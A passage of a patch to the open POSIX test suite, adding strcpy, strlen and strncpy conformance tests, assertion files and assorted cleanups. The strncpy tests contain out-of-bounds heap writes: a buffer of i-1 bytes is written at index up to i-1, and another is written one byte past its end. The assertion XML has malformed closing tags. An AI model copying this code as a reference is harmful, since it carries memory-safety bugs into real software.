+  <assertion id="1" tag="ref:XBD7:64866:64870">
+    The function will locate the first occurrence of c (converted to a char)
+    in the string pointed to by s. The terminating NUL character is
+    considered to be part of the string. Upon completion, the function will
+    return a pointer to the byte, or a null pointer if the byte was not found.
+  <assertion>
+<assertions>
+
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strchr/coverage.txt b/testcases/open_posix_testsuite/conformance/interfaces/strchr/coverage.txt
new file mode 100644
index 0000000..5a8e889
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strchr/coverage.txt
@@ -0,0 +1,5 @@
+This file defines the coverage for the strchr() function testing.
+
+	Assertion		Status
+	1				YES
+
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c
new file mode 100644
index 0000000..adfbfc3
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c
@@ -0,0 +1,78 @@
+/*
+ * This file is licensed under the GPL license. For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+ */
+
+/*
+ * assertion:
+ *  The function will copy the string pointed to by s1 (including the
+ *  terminating NUL character) into the array pointed to by s2. And
+ *  it will return s2.
+ *
+ * method:
+ *  -Generate sample string s1 of variable lengths in a loop.
+ *  -Use strcpy() to copy s1 into sample string s2 in each iteration.
+ *  -Compare both strings(s1 and s2).
+ *  -Also compare returned pointer with s2.
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <time.h>
+#include "posixtest.h"
+
+#define STRING_MAX_LEN 50000
+#define STEP_COUNT 2000
+#define TNAME "strcpy/1-1.c"
+
+char *random_string(int len)
+{
+    int i;
+    char *output_string;
+    output_string = malloc(len + 1);
+    if (output_string == NULL) {
+        printf(TNAME " Failed to allocate memory\n");
+        exit(PTS_UNRESOLVED);
+    }
+    for (i = 0; i < len; i++)
+        /* Limiting characters from 1-255 */
+        output_string[i] = rand() % 254 + 1;
+    output_string[len] = '\0';
+    return output_string;
+}
+
+int main(void)
+{
+    char *ret_str;
+    int i;
+
+    for (i = 0; i < STRING_MAX_LEN; i += STEP_COUNT) {
+        char *sample_str_1;
+        char *sample_str_2 = malloc(i + 1);
+        if (sample_str_2 == NULL) {
+            printf(TNAME "Failed to allocate memory\n");
+            exit(PTS_UNRESOLVED);
+        }
+        sample_str_1 = random_string(i);
+        ret_str = strcpy(sample_str_2, sample_str_1);
+
+        if (strcmp(sample_str_1, sample_str_2) != 0) {
+            printf(TNAME " Test Failed, string copy failed. "
+                        "Expected string: %s, But got: %s\n"
+                        , sample_str_1, sample_str_2);
+            exit(PTS_FAIL);
+        } else if (ret_str != sample_str_2) {
+            printf(TNAME " Test Failed, return is not as expected. "
+                        "Expected return: %p, But obtained: %p\n"
+                        , sample_str_2, ret_str);
+            exit(PTS_FAIL);
+        }
+        free(sample_str_1);
+        free(sample_str_2);
+    }
+    printf(TNAME " Test Passed, string copied successfully\n");
+    exit(PTS_PASS);
+}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strcpy/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/assertions.xml
new file mode 100644
index 0000000..b252754
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/assertions.xml
@@ -0,0 +1,7 @@
+<assertions>
+  <assertion id="1" tag="ref:XBD7:65034:65040">
+    The function will copy the string pointed to by s1 (including the
+    terminating NUL character) into the array pointed to by s2. And
+    it will return s2.
+  <assertion>
+<assertions>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strcpy/coverage.txt b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/coverage.txt
new file mode 100644
index 0000000..30da9d5
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strcpy/coverage.txt
@@ -0,0 +1,5 @@
+This file defines the coverage for the strcpy() function testing.
+
+	Assertion	Status
+	1 			YES
+
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c
new file mode 100644
index 0000000..e74e50d
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c
@@ -0,0 +1,65 @@
+/*
+ * This file is licensed under the GPL license. For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+ */
+
+/*
+ * assertion:
+ *	The function will compute the number of bytes in the string to which s points,
+ *	not including the terminating NUL character. and will return the length of s.
+ *
+ * method:
+ *	-Generate sample string s1 of variable lengths in a loop.
+ *	-Use strlen() for generated strings and check whether return value is as expected.
+ *
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <time.h>
+#include "posixtest.h"
+
+#define STRING_MAX_LEN 50000
+#define STEP_COUNT 2000
+#define TNAME "strlen/1-1.c"
+
+char *random_string(int len)
+{
+	int i;
+	char *output_string;
+	output_string = malloc(len + 1);
+	if (output_string == NULL) {
+		printf(" Failed to allocate memory\n");
+		exit(PTS_UNRESOLVED);
+	}
+	for (i = 0; i < len; i++)
+		output_string[i] = rand() % 254 + 1;
+	output_string[len] = '\0';
+	return output_string;
+}
+
+int main(void)
+{
+	char *ret_str;
+	int i;
+	size_t obtained_len;
+
+	for (i = 0; i < STRING_MAX_LEN; i += STEP_COUNT) {
+		ret_str = random_string(i);
+		obtained_len = strlen(ret_str);
+
+		if (obtained_len != i) {
+			printf(TNAME " Test Failed, return value is not as expected, "
+					"for the given string. Expected string length: %d,"
+					" But got: %zu.\n", i, obtained_len);
+			exit(PTS_FAIL);
+		}
+		free(ret_str);
+	}
+	printf(TNAME " Test Passed, strlen() return value is as expected, "
+			"for the given strings.\n");
+	exit(PTS_PASS);
+}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strlen/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/strlen/assertions.xml
new file mode 100644
index 0000000..321b9ed
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strlen/assertions.xml
@@ -0,0 +1,7 @@
+<assertions>
+  <assertion id="1" tag="ref:XBD7:65884:65891">
+    The function will compute the number of bytes in the string to which s points,
+    not including the terminating NUL character. and will return the length of s.
+  <assertion>
+<assertions>
+
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strlen/coverage.txt b/testcases/open_posix_testsuite/conformance/interfaces/strlen/coverage.txt
new file mode 100644
index 0000000..00537ad
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strlen/coverage.txt
@@ -0,0 +1,4 @@
+This file defines the coverage for the strlen() function testing.
+
+	Assertion	Status
+	1 			YES
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c
new file mode 100644
index 0000000..b67d09d
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c
@@ -0,0 +1,86 @@
+/*
+ * This file is licensed under the GPL license. For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+ */
+
+/*
+ * assertion:
+ *
+ *  The function will copy not more than n bytes (bytes that follow a NUL
+ *  character are not copied) from the array pointed to by s1 to the array
+ *  pointed to by s2. And it will return s2.
+
+ * method:
+ *  -Generate sample string s1 of variable lengths in a loop.
+ *  -Use strncpy() to copy s1 into sample string s2 in each iteration
+ *  with given n value.
+ *  -Truncate last n characters of s1 and
+ *  -Compare both strings(s1 and s2) and Also compare returned pointer with s2.
+ *  -Repeat the above steps for given number of iterations.
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "posixtest.h"
+
+#define STRING_MAX_LEN 50000
+#define STEP_COUNT 2000
+#define TNAME "strncpy/1-1.c"
+
+char *random_string(int len)
+{
+    int i;
+    char *output_string = NULL;
+    output_string = malloc(len + 1);
+    if (output_string == NULL) {
+        printf(TNAME " Failed to allocate memory\n");
+        exit(PTS_UNRESOLVED);
+    }
+    for (i = 0; i < len; i++)
+        /* Limiting characters from 1-255 */
+        output_string[i] = rand() % 254 + 1;
+    output_string[len] = '\0';
+    return output_string;
+}
+
+int main(void)
+{
+    char *ret_str;
+    int i, num_bytes;
+
+    for (i = 1; i < STRING_MAX_LEN; i += STEP_COUNT) {
+        char *sample_str_1;
+        char *sample_str_2 = malloc(i - 1);
+        if (sample_str_2 == NULL) {
+            printf(TNAME " Failed to allocate memory\n");
+            exit(PTS_UNRESOLVED);
+        }
+        sample_str_1 = random_string(i);
+        num_bytes = rand() % i;
+
+        ret_str = strncpy(sample_str_2, sample_str_1, num_bytes);
+
+        sample_str_2[num_bytes] = '\0';
+        sample_str_1[num_bytes] = '\0';
+
+        if (strcmp(sample_str_2, sample_str_1) != 0
+                    && ret_str == sample_str_2) {
+            printf(TNAME " Test Failed, string copy failed. "
+                            "Expected string: %s\n, But got: %s\n"
+                            , sample_str_1, sample_str_2);
+            exit(PTS_FAIL);
+        } else if (ret_str != sample_str_2) {
+            printf(TNAME " Test Failed, return is not as expected. "
+                            "Expected: %p, But obtained: %p\n"
+                            , sample_str_2, ret_str);
+            exit(PTS_FAIL);
+        }
+        free(sample_str_1);
+        free(sample_str_2);
+    }
+    printf(TNAME " Test Passed, string copied successfully\n");
+    exit(PTS_PASS);
+}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c
new file mode 100644
index 0000000..2a20872
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c
@@ -0,0 +1,96 @@
+/*
+ * This file is licensed under the GPL license. For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+ */
+
+/*
+ * assertion:
+ *  If the array pointed to by s1 is a string that is shorter than n bytes,
+ *  NUL characters will be appended to the copy in the array pointed to
+ *  by s2, until n bytes in all are written
+ *
+ * method:
+ *  -Generate sample string s1 of variable lengths in a loop.
+ *  -Define number of bytes you want to copy,
+ *  which is more than the length of s1.
+ *  -Use strncpy to copy string from s1 to s2.
+ *  -Check whether s2 is appeneded by '\0' after
+ *  writing string s1, till number of bytes given.
+ *  -Repeat the above steps for given number of iterations.
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "posixtest.h"
+
+#define STRING_MAX_LEN 50000
+#define STEP_COUNT 2000
+#define TNAME "strncpy/2-1.c"
+#define EXTRA_BYTES 10
+
+char *random_string(int len)
+{
+    int i;
+    char *output_string;
+    output_string = malloc(len + 1);
+    if (output_string == NULL) {
+        printf(TNAME " Failed to allocate memory\n");
+        exit(PTS_UNRESOLVED);
+    }
+    for (i = 0; i < len; i++)
+        /* Limiting characters from 1-255 */
+        output_string[i] = rand() % 254 + 1;
+    output_string[len] = '\0';
+    return output_string;
+}
+int main(void)
+{
+    int i, j, c;
+    char *ret_str;
+
+    for (i = 1; i < STRING_MAX_LEN; i += STEP_COUNT) {
+        c = 0;
+        char *sample_str_1;
+        char *sample_str_2 = malloc(i + EXTRA_BYTES);
+        if (sample_str_2 == NULL) {
+            printf(TNAME " Failed to allocate memory\n");
+            exit(PTS_UNRESOLVED);
+        }
+        sample_str_1 = random_string(i);
+        ret_str = strncpy(sample_str_2, sample_str_1, i + EXTRA_BYTES);
+        sample_str_2[i + EXTRA_BYTES] = '\0';
+
+        if (strcmp(sample_str_1, sample_str_2) != 0) {
+            printf(TNAME " Test failed, string copy failed. "
+                        "Expected string: %s, But got: %s\n"
+                        , sample_str_1, sample_str_2);
+            exit(PTS_UNRESOLVED);
+        } else if (ret_str != sample_str_2) {
+            printf(TNAME " Test Failed, return is not as expected. "
+                        "Expected return: %p, But obtained: %p\n"
+                        , sample_str_2, ret_str);
+            exit(PTS_FAIL);
+        }
+
+        for (j = strlen(sample_str_1); j < i + EXTRA_BYTES; j++) {
+            if (sample_str_2[j] == '\0') {
+                c++;
+            }
+        }
+
+        if (c != EXTRA_BYTES) {
+            printf(TNAME " Test Failed, The difference in the number of bytes"
+                        " for two strings (s1 and s2) have not been appended"
+                        " with NULL bytes\n");
+            exit(PTS_FAIL);
+        }
+        free(sample_str_1);
+        free(sample_str_2);
+    }
+    printf(TNAME "  Test Passed, The difference in the number of bytes for two "
+                    "strings (s1 and s2) have been appended with NULL bytes in s2\n");
+    exit(PTS_PASS);
+}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strncpy/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/assertions.xml
new file mode 100644
index 0000000..c05ec33
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/assertions.xml
@@ -0,0 +1,13 @@
+<assertions>
+  <assertion id="1" tag="ref:XBD7:66022:66030">
+    The function will copy not more than n bytes (bytes that follow a NUL
+    character are not copied) from the array pointed to by s1 to the array
+    pointed to by s2. And it will return s2.
+  <assertion>
+  <assertion id="2" tag="ref:XBD7:66024:66025">
+    If the array pointed to by s1 is a string that is shorter than n bytes,
+    NUL characters willl be appended to the copy in the array pointed to
+    by s2, until n bytes in all are written.
+  <assertion>
+<assertions>
+
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strncpy/coverage.txt b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/coverage.txt
new file mode 100644
index 0000000..6528196
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strncpy/coverage.txt
@@ -0,0 +1,5 @@
+This file defines the coverage for the strncpy() function testing.
+
+	Assertion	Status
+	1			YES
+	2			YES
diff --git a/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c b/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c
index 816c613..46eef83 100644
--- a/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c
+++ b/testcases/open_posix_testsuite/functional/mqueues/send_rev_1.c
@@ -25,7 +25,7 @@
 #define MSG_SIZE	128
 #define MAX_MSG		3
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	struct mq_attr mqstat, attr;
 	char r_msg_ptr[MAX_MSG][MSG_SIZE];
diff --git a/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c b/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c
index 395e564..cd5ba24 100644
--- a/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c
+++ b/testcases/open_posix_testsuite/functional/mqueues/send_rev_2.c
@@ -105,7 +105,7 @@
 	pthread_exit(NULL);
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
 
 	mqd_t mq1 = 0, mq2 = 0;
diff --git a/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c b/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c
index 35c9e18..891cb64 100644
--- a/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c
+++ b/testcases/open_posix_testsuite/functional/semaphores/sem_conpro.c
@@ -94,7 +94,7 @@
 	pthread_exit(0);
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	int shared = 1;
 	int occupied_value = BUF_SIZE;
diff --git a/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c b/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c
index 0905c61..dbd9fe8 100644
--- a/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c
+++ b/testcases/open_posix_testsuite/functional/semaphores/sem_philosopher.c
@@ -114,7 +114,7 @@
 	pthread_exit(NULL);
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	pthread_t phi[PH_NUM];
 	int PhID[PH_NUM];
diff --git a/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c b/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c
index 24daeb3..0bb6b36 100644
--- a/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c
+++ b/testcases/open_posix_testsuite/functional/semaphores/sem_readerwriter.c
@@ -105,7 +105,7 @@
 	pthread_exit(NULL);
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	pthread_t rea[READ_NUM], wri[WRITE_NUM];
 	int ReadID[READ_NUM], WriteID[WRITE_NUM];
diff --git a/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c b/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c
index 423b2fe..7301c51 100644
--- a/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c
+++ b/testcases/open_posix_testsuite/functional/semaphores/sem_sleepingbarber.c
@@ -135,7 +135,7 @@
 	return NULL;
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
 	pthread_t bar, cus[CUS_NUM];
 	int shared = 0;
diff --git a/testcases/open_posix_testsuite/functional/threads/README b/testcases/open_posix_testsuite/functional/threads/README
index a97351c..af99bad 100644
--- a/testcases/open_posix_testsuite/functional/threads/README
+++ b/testcases/open_posix_testsuite/functional/threads/README
@@ -15,4 +15,4 @@
 pi_test - Test Priority Inheritence.
 
 robust_test - This suite is not proper to exist in PTS, since
-the work of adding Robust Mutex to POSIX is still on going.
+the work of adding Robust Mutex to POSIX is still ongoing.
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/README b/testcases/open_posix_testsuite/functional/threads/pi_test/README
index 7dfec9d..ae644c9 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/README
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/README
@@ -28,26 +28,6 @@
 For different tests, there are different result analysis methods. The
 following two sections will describe this in detail.
 
-Robust Mutex Tests
-------------------------
-The tests are under <rtnptl-tests>/robust_test directory.
-
-rt-nptl supports 'robust' behavior, there will be two robust modes,
-one is PTHREAD_MUTEX_ROBUST_NP mode, the other is
-PTHREAD_MUTEX_ROBUST_SUN_NP mode. When the owner of a mutex dies in
-the first mode, the waiter will set the mutex to ENOTRECOVERABLE
-state, while in the second mode, the waiter needs to call
-pthread_mutex_setconsistency_np to change the state manually.
-
-The tests with name robust*-sun are used to test the
-PTHREAD_MUTEX_ROBUST_NP mode, other tests with name robust*-mode2 are
-used to test the PTHREAD_MUTEX_ROBUST_SUN_NP mode. Please refer to the
-description in the tests for the detailed information.
-
-Using run.sh under <rtnptl-tests>/robust_test to run the robust mutex
-tests automatically, the PASS or FAIL result can be obtained from the
-stdout.
-
 Priority Inheritance Mutex Tests
 --------------------------
 The tests are under <rtnptl-tests>/pi_test directory.
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
index 12fe9f3..3c6d92f 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-1.c
@@ -228,7 +228,7 @@
 	    return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
index ac3e66e..fdcb870 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-2.c
@@ -253,7 +253,7 @@
 	return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
index d1cba22..f920abd 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-3.c
@@ -264,7 +264,7 @@
 	return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
index 8dd013b..c1a4add 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-4.c
@@ -234,7 +234,7 @@
 	return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
index 3e49626..a7f1266 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-5.c
@@ -252,7 +252,7 @@
 	return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
index aa3a2c8..81c7ec4 100644
--- a/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
+++ b/testcases/open_posix_testsuite/functional/threads/pi_test/pitest-6.c
@@ -227,7 +227,7 @@
 	return NULL;
 }
 
-int main(int argc, char **argv)
+int main(void)
 {
 	cpus = sysconf(_SC_NPROCESSORS_ONLN);
 	pthread_mutexattr_t mutex_attr;
diff --git a/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c b/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c
index d926801..9d9e12b 100644
--- a/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c
+++ b/testcases/open_posix_testsuite/functional/threads/schedule/1-1.c
@@ -19,7 +19,6 @@
  *    and preempted low priority thread
  */
 
-#define _XOPEN_SOURCE 600
 #include "affinity.h"
 #include <pthread.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/include/affinity.h b/testcases/open_posix_testsuite/include/affinity.h
index e5b367a..29994f0 100644
--- a/testcases/open_posix_testsuite/include/affinity.h
+++ b/testcases/open_posix_testsuite/include/affinity.h
@@ -99,6 +99,8 @@
 }
 
 #else
+#include <errno.h>
+
 static int set_affinity_single(void)
 {
 	errno = ENOSYS;
diff --git a/testcases/open_posix_testsuite/include/noatime.h b/testcases/open_posix_testsuite/include/noatime.h
index 0471728..a917376 100644
--- a/testcases/open_posix_testsuite/include/noatime.h
+++ b/testcases/open_posix_testsuite/include/noatime.h
@@ -15,6 +15,7 @@
 #include <string.h>
 #endif
 #include <stdio.h>
+#include "posixtest.h"
 
 #ifdef __linux__
 
@@ -47,7 +48,7 @@
 {
 	struct mntent *mnt;
 	int prefix_max = 0, prefix;
-	int has_noatime;
+	int has_noatime = 0;
 	FILE *f;
 
 	f = setmntent("/proc/mounts", "r");
@@ -78,14 +79,14 @@
 	struct statfs _statfs;
 
 	if (statfs(path, &_statfs) == -1) {
-		printf("statfs for %s failed: %s", strerror(errno));
+		printf("statfs for %s failed: %s", path, strerror(errno));
 		return -1;
 	}
 
 	return (_statfs.f_flags & MNT_NOATIME);
 }
 #else
-int mounted_noatime(const char *path)
+int mounted_noatime(const char *path LTP_ATTRIBUTE_UNUSED)
 {
 	return 0;
 }
diff --git a/testcases/open_posix_testsuite/include/posixtest.h b/testcases/open_posix_testsuite/include/posixtest.h
index 8e704b6..dd1a9b2 100644
--- a/testcases/open_posix_testsuite/include/posixtest.h
+++ b/testcases/open_posix_testsuite/include/posixtest.h
@@ -43,3 +43,7 @@
 #ifndef ARRAY_SIZE
 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
 #endif
+
+#define LTP_ATTRIBUTE_NORETURN		__attribute__((noreturn))
+#define LTP_ATTRIBUTE_UNUSED		__attribute__((unused))
+#define LTP_ATTRIBUTE_UNUSED_RESULT	__attribute__((warn_unused_result))
diff --git a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
index 67a60c8..4666739 100755
--- a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
+++ b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
@@ -16,6 +16,8 @@
 # Ngie Cooper, June 2010
 #
 
+readonly buildonly_compiler_args="-c"
+
 generate_locate_test_makefile() {
 
 	local maketype=$1; shift
@@ -31,6 +33,7 @@
 
 generate_makefile() {
 
+	local link_libs=
 	local make_rule_prereq_cache=
 	local make_copy_prereq_cache=
 	local prereq_cache=
@@ -190,6 +193,13 @@
 EOF
 	fi
 
+	# Only pass along libraries to link if `-c` was not specified in `$compiler_args`.
+	if [ "$compiler_args" = "$buildonly_compiler_args" ]; then
+		link_libs=false
+	else
+		link_libs=true
+	fi
+
 	# Produce _awesome_ target rules for everything that needs it.
 	for prereq in ${make_rule_prereq_cache}; do
 
@@ -210,7 +220,10 @@
 			;;
 		esac
 
-		COMPILE_STR="\$(CC) $compiler_args \$(CFLAGS) \$(LDFLAGS) -o \$@ \$(srcdir)/$c_file \$(LDLIBS)"
+		COMPILE_STR="\$(CC) $compiler_args \$(CFLAGS) \$(LDFLAGS) -o \$@ \$(srcdir)/$c_file"
+		if $link_libs; then
+			COMPILE_STR="$COMPILE_STR \$(LDLIBS)"
+		fi
 
 		cat >> "$makefile.3" <<EOF
 $bin_file: \$(srcdir)/$c_file
@@ -306,7 +319,7 @@
 fi
 
 # For the generic cases.
-generate_locate_test_makefile buildonly '.test' '-c'
+generate_locate_test_makefile buildonly '.test' "$buildonly_compiler_args"
 generate_locate_test_makefile runnable '.run-test'
 generate_locate_test_makefile test-tools ''
 
diff --git a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
index 9862714..69466bb 100755
--- a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
+++ b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
 
 if [ $# -ne 3 ]; then
-	echo "Usgae: ./tst_kvercmp.sh r1 r2 r3"
+	echo "Usage: ./tst_kvercmp.sh r1 r2 r3"
 	exit 1
 fi
 
diff --git a/testcases/open_posix_testsuite/stress/threads/fork/NOTES b/testcases/open_posix_testsuite/stress/threads/fork/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/fork/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/fork/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c b/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c
index 3376019..344d1d3 100644
--- a/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c
+++ b/testcases/open_posix_testsuite/stress/threads/fork/s-c1.c
@@ -25,13 +25,6 @@
 * The test fails if the fork duration tends to grow with the # of processes.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-/* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/helper.c b/testcases/open_posix_testsuite/stress/threads/helper.c
index d54a920..a0a0f53 100644
--- a/testcases/open_posix_testsuite/stress/threads/helper.c
+++ b/testcases/open_posix_testsuite/stress/threads/helper.c
@@ -47,9 +47,6 @@
 
 */
 
-/* This utility should compile on any POSIX-conformant implementation. */
-#define _POSIX_C_SOURCE 200112L
-
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_cancel/NOTES
index 98f9639..e0f7215 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cancel/NOTES
@@ -12,9 +12,6 @@
 You may want to add -DVERBOSE=2 to have verbose tests,
 or -DVERBOSE=0 to have silent tests (for batchs for example).
 
-You may add -DWITHOUT_XOPEN to disable the XSI features
-from the tests. Some of the tests won't work with this option.
-
 You may want to add -DSCALABILITY_FACTOR=X, where X is an integer,
 to change the stress programs load (default is 1).
 
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c b/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c
index 92a6f01..6712146 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cancel/stress.c
@@ -26,9 +26,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/NOTES b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/NOTES
index d65460c..79ec328 100644
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/NOTES
+++ b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/NOTES
